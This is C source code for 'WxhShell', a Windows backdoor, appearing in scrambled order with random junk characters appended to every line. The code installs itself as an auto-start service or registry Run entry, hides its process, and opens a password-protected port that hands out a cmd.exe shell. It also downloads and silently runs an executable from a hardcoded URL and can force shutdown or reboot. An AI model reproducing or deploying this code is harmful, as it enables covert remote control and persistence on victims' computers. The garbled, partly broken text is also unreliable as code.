  case 'd': { Qc;`n ck  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H. uflO  
    if(Boot(SHUTDOWN)) hghtF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rtvuAFiH  
    else { ->n<9  
    closesocket(wsh); <Xm5re.  
    ExitThread(0); Oh6;o1UI  
    } "8ILV`[  
    break; '[-gK n  
    } AJ2Xq*fk  
  // 获取shell S+ymdZ)xZ`  
  case 's': { HB {-^9{E  
    CmdShell(wsh); +'>N]|Z  
    closesocket(wsh); 0(Y$xg  
    ExitThread(0); YH)U nql  
    break; |.=Ee+HZ  
  } ($E(^p% O  
  // 退出 j$T2ff6  
  case 'x': { M~I M;my  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2]eh[fRQ  
    CloseIt(wsh); $qD8vu )|j  
    break; q?[{fcNh$  
    } KD$P\(5#  
  // 离开 b;]'Bo0K  
  case 'q': { %83PbH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vyj>&"28  
    closesocket(wsh); 1]A%lud4  
    WSACleanup(); $Bz|[=  
    exit(1); JnhHV(H  
    break; +6*oO|   
        } lk \|EG  
  } 6ecr]=Cv  
  } KZ ?<&x  
TcZ Ci^1F  
  // 提示信息 1KruGq~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?XsL4HI x  
} Z{chAg\  
  } ?@|1>epgd  
]SBv3Q0D7  
  return; sa#=#0yg  
} $MKx\qx}  
1(w0* `  
// shell模块句柄 ]WN{8   
int CmdShell(SOCKET sock) o80pmy7@  
{ x?:WR*5w  
STARTUPINFO si; g0rdF  
ZeroMemory(&si,sizeof(si)); ex'd^y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #Q 2$v;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )7q;F m_/  
PROCESS_INFORMATION ProcessInfo; g]$>G0E`oD  
char cmdline[]="cmd"; 5Ag]1k{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $msT,$NJ  
  return 0; da\K>An>  
} s?~Abj_  
5zpk6FR$  
// 自身启动模式 mt fDl;/D  
int StartFromService(void) H\8i9RI  
{ i= ~HXr}  
typedef struct jA=uK6m  
{ GuM-H $,  
  DWORD ExitStatus; )K@ 20Q+0K  
  DWORD PebBaseAddress; gD=s~DgN)  
  DWORD AffinityMask; bT[Q:#GL  
  DWORD BasePriority; @ )<uQ S  
  ULONG UniqueProcessId; BRoi`.b:  
  ULONG InheritedFromUniqueProcessId; z9h`sY~  
}   PROCESS_BASIC_INFORMATION; 'QeqWn  
5y=X?hF~)  
PROCNTQSIP NtQueryInformationProcess; iA^w2K  
.Yha(5(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; feNr!/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6 Y&OG>_\  
'  AeU  
  HANDLE             hProcess; n9bX[+#d  
  PROCESS_BASIC_INFORMATION pbi; Rr%]/%  
:U ?P~HI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F`Q,pBl1p6  
  if(NULL == hInst ) return 0; b ";#qVv C  
m\1*/6oV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {nryAXK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =:~~RqHl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @#VxjXW^  
"~]9}KM}3W  
  if (!NtQueryInformationProcess) return 0; Ma-^o<{  
2(\>PN-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &JfyXM[]  
  if(!hProcess) return 0; LE1&atq  
Pl1:d{"d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `E!t,*(*E  
r}f -.Fo  
  CloseHandle(hProcess); 7dPA>5"XD  
,:>>04O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (~}l?k  
if(hProcess==NULL) return 0; =C`v+NPM)|  
rZJp>Q)s  
HMODULE hMod; G9E?   
char procName[255]; g^B 6N F  
unsigned long cbNeeded; M/UJb1<  
v{JCEb&wN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M_9|YjwS  
Kwh3SU=L}  
  CloseHandle(hProcess); (5km]`7z  
aEZl ICpU7  
if(strstr(procName,"services")) return 1; // 以服务启动 Aba6/  
YXV![gw0  
  return 0; // 注册表启动 K<|b>PI.s  
} kZz;l(?0  
i"JF~6c<  
// 主模块 c?q#?K aF  
int StartWxhshell(LPSTR lpCmdLine) s<<vHzm  
{ z W+wtYV4  
  SOCKET wsl; ,0-   
BOOL val=TRUE; 4RTEXoXs  
  int port=0; Yn J=&21  
  struct sockaddr_in door; ?_HTOOa  
!o*oT}6n  
  if(wscfg.ws_autoins) Install(); j:<E=[Kl  
i]Kq  
port=atoi(lpCmdLine); [W^6=7EO  
-(:BkA  
if(port<=0) port=wscfg.ws_port; K<s\:$VVh  
^gb2=gWZ<  
  WSADATA data; 3c9v~5og4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &2QN^)q  
rycscE4,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :M=!MgD3w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dr9I+c7u  
  door.sin_family = AF_INET; nHZ 4):`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /8Vh G|Wb  
  door.sin_port = htons(port); Bljh'Qp>C  
E(u[?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +?mZ_sf8w  
closesocket(wsl); VJ;'$SYx  
return 1; =FwFqjvl  
} .Ta$@sPh}  
zaoZCyJT%  
  if(listen(wsl,2) == INVALID_SOCKET) { f, ;sEV  
closesocket(wsl); [=V8  
return 1; {`J7>K  
} P6IhpB59  
  Wxhshell(wsl); YdeSJ(:  
  WSACleanup(); dX+DE(y  
Q@d X2  
return 0; yP-.8[;  
$]Fe9E?   
} jq}5(*k  
={zYcVI  
// 以NT服务方式启动 >aa-ix &  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [$] JvF  
{ C #TS  
DWORD   status = 0; N k^#Sa?  
  DWORD   specificError = 0xfffffff; u!g<y  
.5ingB3%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zH|!O!3"4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JY>]u*=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CrqWlO  
  serviceStatus.dwWin32ExitCode     = 0; Dj<Vn%d*  
  serviceStatus.dwServiceSpecificExitCode = 0; {a(YV\^y|H  
  serviceStatus.dwCheckPoint       = 0; D, 3x:nK  
  serviceStatus.dwWaitHint       = 0;  Y9PG  
6'qs=Ql  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z` gR*+  
  if (hServiceStatusHandle==0) return; B3I< $  
j\Q_NevV  
status = GetLastError(); 3!*J;Y  
  if (status!=NO_ERROR) yq;gBIiZ  
{ lIOLR-:4j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h?$4\^/  
    serviceStatus.dwCheckPoint       = 0; uV%7|/fD  
    serviceStatus.dwWaitHint       = 0; m _:ib}  
    serviceStatus.dwWin32ExitCode     = status; bNc=}^  
    serviceStatus.dwServiceSpecificExitCode = specificError; I^lb;3uR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;itz` 9T  
    return; q l8CgL  
  } hg\$>W~ 2  
M+nz~,![  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >TtkG|/U-T  
  serviceStatus.dwCheckPoint       = 0; wt)tLMEv  
  serviceStatus.dwWaitHint       = 0; tWc!!Hf2j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nq_sbli  
} \UK  9  
L TO1LAac  
// 处理NT服务事件,比如:启动、停止 uFECfh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6'*?zZrz  
{ k6*2= xK~  
switch(fdwControl) Ng;E]2"  
{ W%Ky#!\-  
case SERVICE_CONTROL_STOP: WH'[~O  
  serviceStatus.dwWin32ExitCode = 0; A\z[/3& RK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %2qvK}  
  serviceStatus.dwCheckPoint   = 0; ) 8LCmvQ  
  serviceStatus.dwWaitHint     = 0; Zkxt>%20~  
  { &WsDYov?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jQ 7RH/?_  
  } Y{2\==~  
  return; C\EV $U,  
case SERVICE_CONTROL_PAUSE: QEtZ]p1H@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r%TgZ5~u  
  break; <\yM{ V\  
case SERVICE_CONTROL_CONTINUE: bh_i*DJ]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e `_ [+y  
  break; r$.ek\D5  
case SERVICE_CONTROL_INTERROGATE: k*lrE4::a  
  break; odj|" ZK  
}; _>&zhw2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BU])@~$  
} qFvtqv2  
rF 7EO%,  
// 标准应用程序主函数 :Fm+X[n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pm;"Y!S<  
{ #ljfcQm  
Y+WOU._46I  
// 获取操作系统版本 J6::(0HM  
OsIsNt=GetOsVer(); l} h<2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WvN5IHo 8i  
<PJwBA%{  
  // 从命令行安装 kS+*@o  
  if(strpbrk(lpCmdLine,"iI")) Install(); )2FS9h.t  
5v>(xl  
  // 下载执行文件 \!s0VEE  
if(wscfg.ws_downexe) { cV)C:!W2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) # {!Qf\1M  
  WinExec(wscfg.ws_filenam,SW_HIDE); SRj|XCd  
} [\. ho9  
)S>~h;  
if(!OsIsNt) { "1`c^  
// 如果时win9x,隐藏进程并且设置为注册表启动 r#^X]  
HideProc(); [}d 3 u!  
StartWxhshell(lpCmdLine); Ks!.$y:x  
} !y?g$e`  
else A^o  
  if(StartFromService()) L42C<  
  // 以服务方式启动 2rD`]neA  
  StartServiceCtrlDispatcher(DispatchTable); f*kT7PJG  
else xOD;pRZQ  
  // 普通方式启动 }&;0:hw%  
  StartWxhshell(lpCmdLine); >*Y~I0>  
,?i#NN5p  
return 0; `EV[uj&1S  
} Yc\;`C  
 ae#7*B  
{f)",#  
{P-KU RQ  
=========================================== }^P(p?~  
-Z]?v3 9  
sa*]q~ a  
/koNcpJ  
!L-.bve!  
lty`7(\  
" bxEb2D  
N.BD]_C  
#include <stdio.h> i>0I '~V  
#include <string.h> U3%!#E{  
#include <windows.h> ^vo^W:   
#include <winsock2.h> j}S  
#include <winsvc.h> I@ }:} 8t  
#include <urlmon.h> >^> \y8on  
z26zl[.  
#pragma comment (lib, "Ws2_32.lib") .ay K+6I  
#pragma comment (lib, "urlmon.lib") ^|as]x!sv  
].2q.7Yur  
#define MAX_USER   100 // 最大客户端连接数 WihOGdUS6  
#define BUF_SOCK   200 // sock buffer =^=9z'u"=  
#define KEY_BUFF   255 // 输入 buffer xdp{y =,[  
w.J2pvyB  
#define REBOOT     0   // 重启 c?b?x 6 2  
#define SHUTDOWN   1   // 关机 Qn<J@%  
[-1Nn}  
#define DEF_PORT   5000 // 监听端口 "YHe]R>3s  
>MS}7Hk\  
#define REG_LEN     16   // 注册表键长度 )#i]exZ  
#define SVC_LEN     80   // NT服务名长度 :]e:-JbT4z  
OFCkQEG=y>  
// 从dll定义API QQ1+uY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;STO!^9~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |~rDEv3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L{'qZ#N[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >0:h(,?V  
<k/'mBDk  
// wxhshell配置信息 u|9^tHT>  
struct WSCFG { rWi9'6  
  int ws_port;         // 监听端口 az0( 54M  
  char ws_passstr[REG_LEN]; // 口令 !tHqF  
  int ws_autoins;       // 安装标记, 1=yes 0=no 18V*Cu  
  char ws_regname[REG_LEN]; // 注册表键名 esbxx##\  
  char ws_svcname[REG_LEN]; // 服务名 +JBhw4et;.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *sB=Ys?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qV8;;&8r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eJ$?T7aUf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z15(8Y@2]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $9Y2\'w<h6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ANn {*h  
7^as~5'&-  
}; W"VN2  
44RZk|U1J{  
// default Wxhshell configuration :#c?`>uV  
struct WSCFG wscfg={DEF_PORT, W{ @lt}  
    "xuhuanlingzhe", S1E2E3  
    1, lb`P9mbr+  
    "Wxhshell", x-CY G?-x  
    "Wxhshell", =<O{  
            "WxhShell Service", 6i%LM`8GEk  
    "Wrsky Windows CmdShell Service", a%Cq?HZ7  
    "Please Input Your Password: ", RE!MX>sOEq  
  1, @l>\vs<  
  "http://www.wrsky.com/wxhshell.exe", 4 lJ@qhV  
  "Wxhshell.exe" RAXqRP,iw  
    }; 6bo,x  
: gv[X  
// 消息定义模块 aW4tJN%!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o(C({]UO/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WO^sm Ck  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /2Y Nu*v  
char *msg_ws_ext="\n\rExit."; 1S0Hc5vw  
char *msg_ws_end="\n\rQuit."; ~}z p}Pt  
char *msg_ws_boot="\n\rReboot..."; I?s)^'  
char *msg_ws_poff="\n\rShutdown..."; k$k (g  
char *msg_ws_down="\n\rSave to "; qV9`  
{foF[M  
char *msg_ws_err="\n\rErr!"; y%}Po)X]f  
char *msg_ws_ok="\n\rOK!"; @Mt6O _V  
L'"20=sf  
char ExeFile[MAX_PATH]; REnRpp$  
int nUser = 0; wL5IAkq  
HANDLE handles[MAX_USER]; ch \*/  
int OsIsNt; ;&;coH8`  
S)@R4{=e"V  
SERVICE_STATUS       serviceStatus; =n9adq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5j{o0&=_$  
TBrAYEk  
// 函数声明 cJj0`@0f  
int Install(void); 4#;rv$ {  
int Uninstall(void); T!(I\wz;Bo  
int DownloadFile(char *sURL, SOCKET wsh); vlp]!7v  
int Boot(int flag); 7<|1 xOT  
void HideProc(void); A$Es(<'9g  
int GetOsVer(void); V4/P  
int Wxhshell(SOCKET wsl); v?fB:[dG  
void TalkWithClient(void *cs); =lr*zeHLC  
int CmdShell(SOCKET sock); hLYSYMUb  
int StartFromService(void); Uu>YE0/)  
int StartWxhshell(LPSTR lpCmdLine); B~u{Lv TE  
ElqHZ$a?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3f eI   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OtY.s\m y  
}1z= C<  
// 数据结构和表定义 DY~~pi~  
SERVICE_TABLE_ENTRY DispatchTable[] = {BY`Wu:w  
{ 2s?j5 Sd  
{wscfg.ws_svcname, NTServiceMain}, {nm#aA%,  
{NULL, NULL} aE1h0`OT  
}; yY[[)  
^dYFFKQ  
// 自我安装 ZJ=-cE2n  
int Install(void) |K aXek  
{ 2Z7smDJ  
  char svExeFile[MAX_PATH]; JNuo+Pq  
  HKEY key; f ,K1a9.  
  strcpy(svExeFile,ExeFile); 7&'^H8V  
@hQ+pG@s  
// 如果是win9x系统,修改注册表设为自启动 q+WOnTS  
if(!OsIsNt) { tojJQ6;J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z9~~vf#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E I)Pfx"0  
  RegCloseKey(key); 3`SLMPI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *~prI1e(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hk}M'  
  RegCloseKey(key); H8P il H  
  return 0; rAn''X6H  
    } r_FW)Fu^  
  } l \xIGs  
} 1nBE8 N  
else { rTDx|pvYx  
&zb_8y,  
// 如果是NT以上系统,安装为系统服务 +_ K7x5g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wf6ZzG:  
if (schSCManager!=0) @>(l}5U5  
{ 1S  0GjR  
  SC_HANDLE schService = CreateService %}+j4n  
  ( Y\dK- M{$  
  schSCManager, \>23_d0  
  wscfg.ws_svcname, "aB]?4  
  wscfg.ws_svcdisp, yr[iAi"  
  SERVICE_ALL_ACCESS, kx]f`b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a!Z,~ V8  
  SERVICE_AUTO_START, |1-0x%@[;  
  SERVICE_ERROR_NORMAL, ?n?Ep[D  
  svExeFile, l OI(+74  
  NULL, 8 x|NR?  
  NULL, pOlQOdl  
  NULL, fHlmy[V+M  
  NULL, qGl+KI  
  NULL rM=Q.By+\  
  ); rQj.W6w=  
  if (schService!=0) !@ai=p  
  { 4LUFG  
  CloseServiceHandle(schService); |+cyb<(V J  
  CloseServiceHandle(schSCManager); < ynm A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /D 2v 1  
  strcat(svExeFile,wscfg.ws_svcname); YOP=gvZq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A~h.,<+"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); + 5sT GNG  
  RegCloseKey(key); 8l+\Qyj  
  return 0; XZ Z Ml  
    } )I.[@#-  
  } 'n)M0e  
  CloseServiceHandle(schSCManager); <3Co/.VQd  
} Uu }ai."iB  
} w/h?, L|  
} Yj ic4?  
return 1; xJ^Gtq Um  
} .~ZNlI {K  
aR*z5p2-w  
// 自我卸载 Kdik7jL/J  
int Uninstall(void) Ax=Rb B"  
{ !Lk|eGd*  
  HKEY key; DE."XSni  
j= ]WAjT  
if(!OsIsNt) { ~?[%uGI0h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y5|`B(  
  RegDeleteValue(key,wscfg.ws_regname); ~iEH?J%i1r  
  RegCloseKey(key); SZK~<@q5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .CQ IN]iD  
  RegDeleteValue(key,wscfg.ws_regname); 0qw,R4YK  
  RegCloseKey(key); N}>`Xm 5'  
  return 0; /G G QO$'  
  } f o4j^,`  
} VAsaJ`vcb  
} > 9i@W@M  
else { m)=  -sD  
%CD}A%~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i^Ep[3  
if (schSCManager!=0) v)okVyv  
{ wEQV"I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Co[  rhs  
  if (schService!=0) K}&|lCsb  
  { \Ao M'+  
  if(DeleteService(schService)!=0) { iNd 8M V  
  CloseServiceHandle(schService); }y x'U 3  
  CloseServiceHandle(schSCManager); ]{.rx),  
  return 0; TP'EdzAT  
  } ;}=v|Dr&I.  
  CloseServiceHandle(schService); A4Q8^^byY  
  } **fJAANc  
  CloseServiceHandle(schSCManager); cl^wLC'o  
} EG@*J*|S  
} EAj2uV  
^qS[2Dy  
return 1; T$0//7$')  
} ,]y)Dy  
0rsdDME[  
// 从指定url下载文件 FL/@e$AK  
int DownloadFile(char *sURL, SOCKET wsh) "9&6bBa  
{ zRL[.O9  
  HRESULT hr; ! Hdg $,  
char seps[]= "/"; H2E!A2\m  
char *token; K$R1x1lc2  
char *file; &]16Hb~  
char myURL[MAX_PATH]; }yK_2zak5i  
char myFILE[MAX_PATH]; A^bg*t,  
F4YCU$V  
strcpy(myURL,sURL);  Q.DtC  
  token=strtok(myURL,seps); ~bdADVH  
  while(token!=NULL) Nt$/JBB[$  
  { $X9-0-  
    file=token; 4g$mz:vo  
  token=strtok(NULL,seps); h=EJNz>U  
  } )0yY|E\  
#gUM%$  
GetCurrentDirectory(MAX_PATH,myFILE); bF|j%If%  
strcat(myFILE, "\\"); CP]BSyim'  
strcat(myFILE, file); f|1y?w?I  
  send(wsh,myFILE,strlen(myFILE),0); `k a!`nfo  
send(wsh,"...",3,0); 2|qE|3&{'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w2@ `0  
  if(hr==S_OK) ~{=+dQ  
return 0; FxTOc@<  
else 0 #VH=pga  
return 1; YB*ZYpRVl  
9bNjC&:4/]  
} ~+q$TV  
(C!u3ke2D  
// 系统电源模块 UqsVqi h(  
int Boot(int flag) z X2BJ  
{ O)Nj'Hcu  
  HANDLE hToken; zX{ [Z  
  TOKEN_PRIVILEGES tkp; \2L%%M  
V\r5  
  if(OsIsNt) { t(\d;ybyx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x5c pv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #T99p+O  
    tkp.PrivilegeCount = 1; I}kx;!*b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oz(<e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D ( <_1  
if(flag==REBOOT) { X%h1r`h&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [6FCbzS_W  
  return 0; u;F++$=  
} &g\D-At  
else { =L#tSa=M"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <DvpqlT  
  return 0; <q~&g &&+  
} @Vr?)_ 0  
  } Hh(_sewo  
  else { /=FQ {tLr  
if(flag==REBOOT) { zX"@QB3E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DHaSBk  
  return 0; HZ>Xm6DnC5  
} +s V$s]U  
else { R1! {,*Gy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V=H87 ^b  
  return 0; sc@v\J;k  
} s~6?p% 2]  
} Hd U1gV>  
DCACj-f  
return 1; `2o/W]SSk  
} c}U&!R2p{  
Y 'Yoc  
// win9x进程隐藏模块 C8m8ys  
void HideProc(void) }e9E+2}Z\  
{ 51*o&:eim  
l=Jbuc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D`o* OlU  
  if ( hKernel != NULL ) WID4{>G2  
  { >/.-N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =4RnXZ[P0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )U6T]1  
    FreeLibrary(hKernel); $"!"=v%B  
  } *S~gF/*kP  
W=M]1hy  
return; KA0Ui,q3  
} )|x) KY  
&y;('w  
// 获取操作系统版本 ' {5|[  
int GetOsVer(void) _SJ#k|vcq  
{ u `1cXL['  
  OSVERSIONINFO winfo; y"<nx3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CSN]k)\N(  
  GetVersionEx(&winfo); 'ZgrN14  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +Tf,2?O  
  return 1; : tu6'X\k  
  else 63#Sf$p{v  
  return 0; t,]r%  
} RC sQLKqF  
Hq?-e?Nc  
// 客户端句柄模块 :D-My28'  
int Wxhshell(SOCKET wsl) I: P/ ?-  
{ WtN o@e'  
  SOCKET wsh; ; dPyhR  
  struct sockaddr_in client; ;sE;l7  
  DWORD myID; )(oRJu)y  
u}W R1u [  
  while(nUser<MAX_USER) 9KN75<n  
{ AMp[f%X  
  int nSize=sizeof(client); U!r2`2LY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); < S:SIaf0  
  if(wsh==INVALID_SOCKET) return 1; ' JsP9>)  
:EJ+#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P sij*%I4  
if(handles[nUser]==0) h\Ck""&  
  closesocket(wsh); ?lKFcm  
else U;<07 aMj  
  nUser++; z4D[>2*  
  } G1K5J`"*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wsyq  
x{`>Il  
  return 0; bF;g.-.2  
} +!\$SOaR{  
R3`!Xj#&M  
// 关闭 socket )@Fuw*  
void CloseIt(SOCKET wsh) 8%S5Fc #am  
{ tY-{uHW&h  
closesocket(wsh); &> tmzlww  
nUser--;  /~yk  
ExitThread(0); p&/}0eL y  
} R#eY@N}\  
7%) F]  
// 客户端请求句柄 ~4S@kYe{3K  
void TalkWithClient(void *cs) v_3r8My-  
{ R#.FfWTZ  
>T[1=;o]  
  SOCKET wsh=(SOCKET)cs; PE4#dx^  
  char pwd[SVC_LEN]; :8cp]v dW  
  char cmd[KEY_BUFF]; \R#]}g0!  
char chr[1]; 1K.i>]}>  
int i,j; Q%o:*(x[O  
*~~ >?  
  while (nUser < MAX_USER) { u )cc  
g)c<\%  
if(wscfg.ws_passstr) { J8>y2rAi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [1K\ _  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _]E H~;  
  //ZeroMemory(pwd,KEY_BUFF); M@ILB-H  
      i=0; bq#*XCt#  
  while(i<SVC_LEN) { r)UtS4 7  
_yw]Cacr\  
  // 设置超时 Ea#wtow|-  
  fd_set FdRead; [LDsn]{  
  struct timeval TimeOut; 7t &KKKV  
  FD_ZERO(&FdRead); 99j^<)  
  FD_SET(wsh,&FdRead); T~@$WM(  
  TimeOut.tv_sec=8; }wJ-*By{+  
  TimeOut.tv_usec=0; 'yd<<BM`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4+qoq$F</  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >_ bH ,/D'  
3@P 2]Q~D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xp<\7m_N  
  pwd=chr[0]; CBz$N)f  
  if(chr[0]==0xd || chr[0]==0xa) { Qxr&zT7f  
  pwd=0; #\U;,r  
  break; wN'Q\l+  
  } ?.Z4GWyXa  
  i++; mxUM&`[  
    } Khp`KPxz%  
.21[3.bp/q  
  // 如果是非法用户,关闭 socket !?!~8J~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w64/$  
} YTP6m9hA+  
&o@IMbJ8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :%-xiv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *\ZK(/V  
xV@/z5Tq  
while(1) { R3=PV{`M  
?Ho~6q8O@  
  ZeroMemory(cmd,KEY_BUFF); Gzy"$t  
7@iyO7U  
      // 自动支持客户端 telnet标准   `(NMHXgG+  
  j=0; Kgh@.Ir  
  while(j<KEY_BUFF) { zSt6q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M{M>$pt   
  cmd[j]=chr[0]; !@j5yYf  
  if(chr[0]==0xa || chr[0]==0xd) { w$%d"Jm#X  
  cmd[j]=0; g*]Gc%  
  break; O%feBe  
  } LA?h+)  
  j++; sswYwU  
    } Bs7/<$9K/  
mT  enzIp  
  // 下载文件 /sHWJ?`&/,  
  if(strstr(cmd,"http://")) { 4E\Jk5co,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X 633.]+  
  if(DownloadFile(cmd,wsh)) !##OQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x`:zC#  
  else G1K72M}CW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B"sQ\gb%Q  
  } Wc] L43u  
  else { i%RN0UO^  
P,1[NW  
    switch(cmd[0]) { `x%( n@g  
  c~j")o  
